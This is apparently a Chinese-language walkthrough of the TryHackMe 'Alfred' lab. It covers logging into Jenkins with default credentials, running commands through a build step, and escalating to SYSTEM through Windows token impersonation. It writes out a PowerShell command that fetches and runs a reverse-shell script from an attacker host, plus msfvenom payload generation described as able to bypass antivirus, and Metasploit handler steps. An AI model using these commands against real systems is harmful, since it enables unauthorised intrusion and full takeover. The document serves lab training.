【THM】 Alfred 阿尔弗雷德
Initial Access 初始访问
在这个房间,我们将学习如何利用广泛使用的自动化服务器(Jenkins - 此工具用于创建持续集成/持续开发管道,允许开发者在对其代码进行更改后自动部署代码)上的常见配置错误。之后,我们将使用一种有趣的权限提升方法来获取完整的系统访问权限。
由于这是一个 Windows 应用程序,我们将使用 Nishang 来获取初始访问权限。仓库包含一组用于初始访问、枚举和权限提升的有用脚本。在这种情况下,我们将使用反向 shell 脚本。
请注意,该机器不响应 ping(ICMP)且可能需要几分钟才能启动。
题1,问我们有多少个开放的TCP端口,我们使用nmap进行扫描,注意题中显示不响应Ping,使用-Pn选项,扫出来共3个TCP端口开放
第二题,访问目标的80端口,没有太多信息,访问8080端口,发现有个登陆页面
尝试弱口令,发现admin/admin可以登陆(也可以通过Hydra等工具爆破)
找到工具中允许您在底层系统上执行命令的功能。当您找到这个功能时,可以使用以下命令在您的机器上获取反向 shell 并运行它:
powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
#修改其中的IP(本地攻击机的tun0地址)和端口号为自己的攻击机。
#最后指定的端口号为攻击机上所设置的Netcat监听器对应端口号。
您首先需要下载 Powershell 脚本并将其提供给服务器下载。您可以通过使用 python 创建 http 服务器来完成此操作:python3 -m http.server
我们先开启python临时服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够运行相关命令来下载攻击机上的反向shell脚本并执行该脚本,找到命令执行页面的具体步骤如下——先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。
首先我们需要下载传输到目标服务器的反向shell,输入apt install nishang
下完后进入nishang的shells目录下,里面有我们需要传输的反向shell文件——Invoke-PowerShellTcp.ps1,在此处开启python的http服务器python3 -m http.server 8080
,并用nc监听一个端口用于接受反向shell,这里设置为2345,然后去上面找到的页面输入指令,保存并"build now"。
回到nc监听的窗口,发现成功获得反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop),获取user flag。
使用MSF切换shell
为了使提权过程更容易,让我们使用以下过程切换到 meterpreter shell。
使用 msfvenom 创建以下 payload 的 Windows meterpreter 反向 shell:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe
此 payload 生成一个编码的 x86-64 反向 TCP meterpreter payload。payload 通常会被编码以确保它们能够正确传输,并且可以绕过防病毒产品。防病毒产品可能无法识别 payload,不会将其标记为恶意软件。
创建此 payload 后,使用上一步相同的方法将其下载到机器上:
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8000/shell-name.exe','shell-name.exe')"
在运行此程序之前,请确保在 Metasploit 中设置了 handler:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run
此步骤使用 Metasploit 处理器接收来自您的反向 shell 的传入连接。一旦运行,输入此命令以启动反向 shell
Start-Process "shell-name.exe"
这将为您启动一个 meterpreter shell!
按步骤生成反向shell后,移动到之前开启python http服务器的目录下,以便于上传到目标服务器,执行相似命令
powershell "(New-Object System.Net.WebClient).Downloadfile('http://your-thm-ip:8080/shell-name.exe','shell-name.exe')"
可以看到已经上传成功,然后进入msf,使用multi/handler模块进行监听
msfconsole
use multi/handler
set lhost your_ip
set lport your_port #你想监听的端口
run
再次进入 之前获取的普通反向shell界面,输入命令Start-Process "shell-name.exe" 在目标机上执行exe文件,此时,在设置了MSF监听器的终端界面可以看到已经获得一个Meterpreter shell。
权限提升
现在我们已经获得了初始访问权限,让我们使用令牌模拟来获取系统访问权限。
Windows 使用令牌来确保账户拥有执行特定操作的正确权限。账户令牌在用户登录或进行身份验证时分配给账户。这通常是通过 LSASS.exe(将其视为一个身份验证过程)来完成的。
此访问令牌包括:
- 用户 SIDs(安全标识符)
- 组 SIDs
- 权限
在其他事项中。更详细的信息可以在以下位置找到。
存在两种类型的访问令牌:
- 主要访问令牌:与用户账户关联,在登录时生成的
- 模拟令牌:这些令牌允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问资源
对于模拟令牌,有不同的级别:
- 安全匿名:当前用户/客户端无法冒充其他用户/客户端
- SecurityIdentification: 当前用户/客户端可以获取客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation: 当前用户/客户端可以在本地系统上冒充客户端的安全上下文
- SecurityDelegation: 当前用户/客户端可以在远程系统上冒充客户端的安全上下文
其中安全上下文是一个包含用户相关安全信息的数据结构。
账户的权限(这些权限在创建账户时赋予或从组继承)允许用户执行特定操作。以下是常见的滥用权限:
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
使用whoami /priv
,可以查看当前用户的特殊权限
可以发现我们拥有SeDebugPrivilege、SeImpersonatePrivilege特殊权限
让我们使用允许我们利用此漏洞的incognito模块,执行load incognito
加载该模块,如果该命令不可用,可以使用use incognito
执行该操作
使用help
可以查看incognito模块的帮助
使用list_tokens -g
查看可以伪装的令牌,其中BUILTIN\Administrators
可以使用
使用impersonate_token "BUILTIN\Administrators"
切换到该用户的令牌,并使用getuid
查看当前权限
即使您拥有更高特权的令牌,您实际上可能没有特权用户的权限(这是由于 Windows 处理权限的方式 - 它使用进程的主令牌而不是模拟令牌来确定进程可以或不会)。但是我们可以把进程迁移到拥有正确权限的进程
最安全的进程是 services.exe 进程。先用ps
命令查看进程,找到services.exe进程的PID。使用命令migrate PID-OF-PROCESS
迁移到这个进程
现在我们就拥有了真正的NT AUTHORITY\SYSTEM
权限
读取 C:\Windows\System32\config 中的 root.txt
文件
注意:C:\Windows\System32\config\目录是Windows中存放密码的SAM文件和SYSTEM文件的位置,是一个很重要的目录